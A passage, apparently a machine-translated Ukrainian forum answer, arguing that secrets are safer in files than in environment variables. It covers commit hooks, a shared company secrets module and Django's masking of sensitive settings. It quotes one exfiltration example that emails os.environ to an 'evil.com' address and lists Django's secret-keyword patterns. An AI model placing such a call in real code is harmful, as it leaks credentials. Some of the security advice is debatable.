AFAICT, є дві причини, по яких люди рекомендують зберігати секрети у змінних оточення:
- Занадто просто ненароком скопіювати секретні плоскі файли до репо. (А якщо це публічне репо, тост.)
- Це запобігає захаращенню паролів, тобто наявність одного ключа в багатьох різних файлах каталогів проектів є самим ризиком для безпеки, оскільки розробники з часом втратять інформацію про те, де знаходяться секрети.
Ці два питання можна вирішити кращими способами. Перший повинен вирішуватися гачком фіксації, який перевіряє, чи не схожі паролі (наприклад, gitleaks ). Я хотів би, щоб Лінус вбудував такий інструмент у вихідний код бібліотеки git, але, на жаль, цього не сталося. (Потрібно говорити, що до секретних файлів завжди слід додавати .gitignore
, але вам потрібен гачок, якщо хтось забуде це зробити.)
Останнє можна вирішити, маючи глобальний файл секретних даних компанії, який ідеально зберігається на спільному диску лише для читання. Отже, в Python ви могли б мати щось подібне from company_secrets import *
.
Що ще важливіше, як зазначають інші, занадто легко зламати секрети, що зберігаються в змінних оточення. Наприклад, у Python автор бібліотеки міг би вставити, send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
а потім тост, якщо виконувати цей код. Злом набагато складніше, якщо у вашій системі називається файл ~/secret_company_stuff/.my_very_secret_company_stuff
.
Тільки для користувачів Django:
Django (в режимі DEBUG) показує значення необробленої змінної середовища в браузері, якщо є виняток (в режимі DEBUG). Це здається дуже небезпечним, якщо, наприклад, розробник випадково запуститься DEBUG=True
у виробництво. На відміну від цього , Django РОБИТЬ заплутати настройки пароля змінних шляхом пошуку рядків API
, TOKEN
, KEY
, SECRET
, PASS
або SIGNATURE
в фреймворка settings.py
імен змінних файлу.